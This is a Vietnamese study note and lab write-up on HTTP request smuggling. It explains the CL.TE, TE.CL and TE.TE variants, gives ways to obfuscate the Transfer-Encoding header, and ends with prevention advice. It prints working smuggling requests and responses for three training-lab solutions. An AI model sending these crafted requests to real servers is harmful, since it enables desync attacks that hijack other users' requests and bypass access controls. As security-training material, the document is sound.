What is HTTP Request Smuggling?

Các ứng dụng web hiện đại thường sử dụng chuỗi server HTTP giữa người dùng và logic ứng dụng cuối cùng. Người dùng gửi request đến front-end server (đôi khi gọi là load balancer hoặc reverse proxy), và server này chuyển tiếp request đến một hoặc nhiều back-end server.

Request HTTP được gửi liên tiếp, và server nhận phải xác định nơi một request kết thúc và request tiếp theo bắt đầu:

Trong tình huống này, front-end và back-end phải đồng ý về ranh giới giữa các request. Nếu không, kẻ tấn công có thể gửi request mơ hồ, được diễn giải khác nhau bởi front-end và back-end:

Ở đây, kẻ tấn công khiến phần của request front-end được back-end server diễn giải như bắt đầu của request tiếp theo. Nó được prepend vào request tiếp theo, do đó can thiệp vào cách ứng dụng xử lý request đó.

How Do HTTP Request Smuggling Vulnerabilities Arise?

Hầu hết lỗ hổng HTTP request smuggling phát sinh vì đặc tả HTTP/1 cung cấp hai cách khác nhau để chỉ định nơi request kết thúc: header Content-LengthTransfer-Encoding.

Header Content-Length đơn giản: chỉ định độ dài body của message bằng byte:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
 
q=smuggling

Header Transfer-Encoding dùng để chỉ định body của message sử dụng chunked encoding. Body chứa một hoặc nhiều chunk dữ liệu. Mỗi chunk gồm kích thước chunk bằng byte (biểu diễn hex), theo sau newline, rồi nội dung chunk. Tin nhắn kết thúc bằng chunk kích thước zero.

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
 
b
q=smuggling
0

Thông số nêu rằng nếu cả header Content-LengthTransfer-Encoding có mặt, thì header Content-Length nên bị bỏ qua. Điều này đủ để tránh mơ hồ khi chỉ có một server, nhưng sẽ không còn hiệu quả khi hai hoặc nhiều server được kết nối với nhau. Trong tình huống này, vấn đề phát sinh vì hai lý do:

  • Một số server không hỗ trợ header Transfer-Encoding trong request.
  • Một số server hỗ trợ header Transfer-Encoding có thể bị dụ không xử lý nếu header bị obfuscated theo cách nào đó.

Nếu front-end và back-end server hành xử khác nhau liên quan đến header Transfer-Encoding (có thể bị obfuscated), chúng có thể không đồng ý về ranh giới giữa các request liên tiếp, dẫn đến lỗ hổng request smuggling.

How to Perform an HTTP Request Smuggling Attack

Các tấn công request smuggling cổ điển liên quan đến việc đặt cả header Content-LengthTransfer-Encoding vào một request HTTP/1 duy nhất và thao túng chúng để front-end và back-end server xử lý request khác nhau. Cách chính xác thực hiện phụ thuộc vào hành vi của hai server:

Info

Browser và các client khác, bao gồm Burp, sử dụng HTTP/2 mặc định để giao tiếp với server quảng cáo hỗ trợ rõ ràng trong TLS handshake.

Khi test site hỗ trợ HTTP/2, bạn cần chuyển protocol thủ công trong Burp Repeater. Bạn có thể làm điều này từ phần Request attributes của panel Inspector.

CL.TE Vulnerabilities

Front-end server sử dụng header Content-Length và back-end server sử dụng header Transfer-Encoding.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
 
0
 
SMUGGLED <-- Start of next request

Front-end server xử lý header Content-Length và xác định body request dài 13 byte, đến cuối SMUGGLED (hai cặp \r\n sau 0 và trước SMUGGLED).

Back-end server xử lý header Transfer-Encoding, và xử lý body của message như sử dụng chunked encoding. Nó xử lý chunk đầu tiên, được nêu là zero length, và được coi là kết thúc request.

Các byte sau, SMUGGLED, bị bỏ lại chưa xử lý, và back-end server sẽ coi chúng là bắt đầu của request tiếp theo trong chuỗi.

Lab: HTTP Request Smuggling, Basic CL.TE Vulnerability

Abstract

Front-end server không hỗ trợ chunked encoding. Front-end server từ chối request không sử dụng method GET hoặc POST.

Để giải lab, smuggle một request đến back-end server, để request tiếp theo được xử lý bởi back-end server dường như sử dụng method GPOST.

Khi thử thêm body vào request GET, server phản hồi:

HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 36
 
"GET requests cannot contain a body"

Vậy, chúng ta chỉ có thể sử dụng request POST để smuggle request.

Chúng ta có thể sử dụng request này:

POST / HTTP/2

Thêm Transfer-Encoding: chunked, ký tự 0 để kết thúc request đầu tiên và chữ cái G như byte còn sót lại sẽ được prepend vào request tiếp theo:

POST / HTTP/2
Content-Length: 6
Transfer-Encoding: chunked
 
0
 
G

Cũng chuyển HTTP/2 sang HTTP/1.1.

Gửi request một lần, response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8325
 
...

Gửi request lần nữa, response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27
 
"Unrecognized method GPOST"

Note

Giá trị của header Content-Length sẽ được cập nhật tự động khi gửi request nhờ tính năng của Burp Suite’ Repeater.

TE.CL Vulnerabilities

Front-end server sử dụng header Transfer-Encoding và back-end server sử dụng header Content-Length.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
 
8
SMUGGLED <-- Start of next request
0
 
 

Note

Để gửi request này sử dụng Burp Repeater, bạn cần đi đến menu Repeater và đảm bảo tùy chọn “Update Content-Length” bị tắt.

Bạn cần bao gồm chuỗi trailing \r\n\r\n sau 0 cuối cùng.

Front-end server xử lý header Transfer-Encoding, và xử lý body của message như sử dụng chunked encoding. Nó xử lý chunk đầu tiên, được nêu dài 8 byte, đến đầu dòng sau SMUGGLED (không đếm \r\n ở cuối SMUGGLED1). Nó xử lý chunk thứ hai, được nêu là zero length, và được coi là kết thúc request. Request này được chuyển tiếp đến back-end server.

Back-end server xử lý header Content-Length và xác định body request dài 3 byte, đến đầu dòng sau 8 (đếm \r\n ở cuối 8). Các byte sau, bắt đầu từ SMUGGLED, bị bỏ lại chưa xử lý, và back-end server sẽ coi chúng là bắt đầu của request tiếp theo trong chuỗi.

Lab: HTTP Request Smuggling, Basic TE.CL Vulnerability

Abstract

Back-end server không hỗ trợ chunked encoding. Front-end server từ chối request không sử dụng method GET hoặc POST.

Để giải lab, smuggle một request đến back-end server, để request tiếp theo được xử lý bởi back-end server dường như sử dụng method GPOST.

Thử gửi request này hai lần:

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
 
8
SMUGGLED
0
 
 

Note

Chúng ta cần tắt tính năng “Update Content-Length” của Burp Suite.

Response trong hai lần:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=VEraxHKSQqxGYdg2nR3N7H7LaZvi2vvX; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8133
...
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 35
 
"Unrecognized method SMUGGLED0POST"

Response thứ hai chỉ ra rằng chúng ta có thể khai thác HTTP request smuggling.

Thay đổi SMUGGLED thành request với method GPOST:

POST /post/comment HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
 
53
GPOST / HTTP/1.1
Host: 0ab500f5032f0a108470a5fe00390037.web-security-academy.net
 
0
 
 

Có một số chuỗi \r\n\r\n chúng ta cần thêm:

  1. Sau header Host để tách headers và body request để tuân thủ đặc tả HTTP.
  2. Sau 0 để tuân thủ định dạng body request của header TE.

Chúng ta cũng cần cập nhật Content-Length thành 4 để back-end server có thể xử lý request smuggle từ GPOST.

TE.TE Behavior: Obfuscating the TE Header

Front-end và back-end server đều hỗ trợ header Transfer-Encoding, nhưng một trong các server có thể bị dụ không xử lý bằng cách obfuscate header theo cách nào đó.

Có vô số cách để obfuscate header Transfer-Encoding. Ví dụ:

Transfer-Encoding: xchunked
 
Transfer-Encoding : chunked
 
Transfer-Encoding: chunked
Transfer-Encoding: x
 
Transfer-Encoding:[tab]chunked
 
[space]Transfer-Encoding: chunked
 
X: X[\n]Transfer-Encoding: chunked
 
Transfer-Encoding
: chunked

Để phát hiện lỗ hổng TE.TE, bạn cần tìm biến thể của header Transfer-Encoding được xử lý bởi front-end hoặc back-end server, trong khi server kia bỏ qua.

Tùy thuộc vào việc front-end hoặc back-end server bị dụ không xử lý header Transfer-Encoding bị obfuscate, phần còn lại của tấn công sẽ giống dạng CL.TE hoặc TE.CL đã mô tả.

Lab: HTTP Request Smuggling, Obfuscating the TE Header

Abstract

Hai server xử lý duplicate HTTP request headers theo cách khác nhau. Front-end server từ chối request không sử dụng method GET hoặc POST.

Để giải lab, smuggle một request đến back-end server, để request tiếp theo được xử lý bởi back-end server dường như sử dụng method GPOST.

Đầu tiên, sử dụng HTTP Request Smuggler và tìm ra server có lỗ hổng TE.CL.

Thử sử dụng hai header Transfer-Encoding, dựa trên hướng dẫn của lab:

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
Transfer-Encoding: x
 
8
SMUGGLED
0
 
 

Hai response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=faucL48Va02tWwd8sUkPWVRFfMpwfRXV; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 8233
...
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 35
 
"Unrecognized method SMUGGLED0POST"

Response thứ hai chỉ ra rằng obfuscation của chúng ta đúng.

Thay đổi SMUGGLED thành request GPOST:

POST /post/comment HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x
 
53
GPOST / HTTP/1.1
Host: 0a22007f04af954084154f1300fb004c.web-security-academy.net
 
0
 
 

Finding HTTP Request Smuggling Vulnerabilities

Exploiting HTTP Request Smuggling Vulnerabilities

Advanced Request Smuggling

Browser-Powered Request Smuggling

How to Prevent HTTP Request Smuggling Vulnerabilities

Để ngăn chặn lỗ hổng HTTP request smuggling:

  • Sử dụng HTTP/2 end-to-end và tắt HTTP downgrading nếu có thể, vì HTTP/2 ngăn chặn request smuggling. Nếu downgrading cần thiết, xác thực request theo HTTP/1.1, từ chối những request có newline, colon trong header, hoặc space trong method.
  • Đảm bảo front-end normalize request mơ hồ, và back-end từ chối bất kỳ request mơ hồ còn lại, đóng kết nối TCP.
  • Không bao giờ giả định request thiếu body—điều này dẫn đến CL.0 và desync vulnerabilities.
  • Loại bỏ kết nối nếu ngoại lệ server xảy ra trong xử lý request, và bật upstream HTTP/2 cho traffic routed qua forward proxy.

Resources

Footnotes

  1. see Chunked transfer encoding - Wikipedia.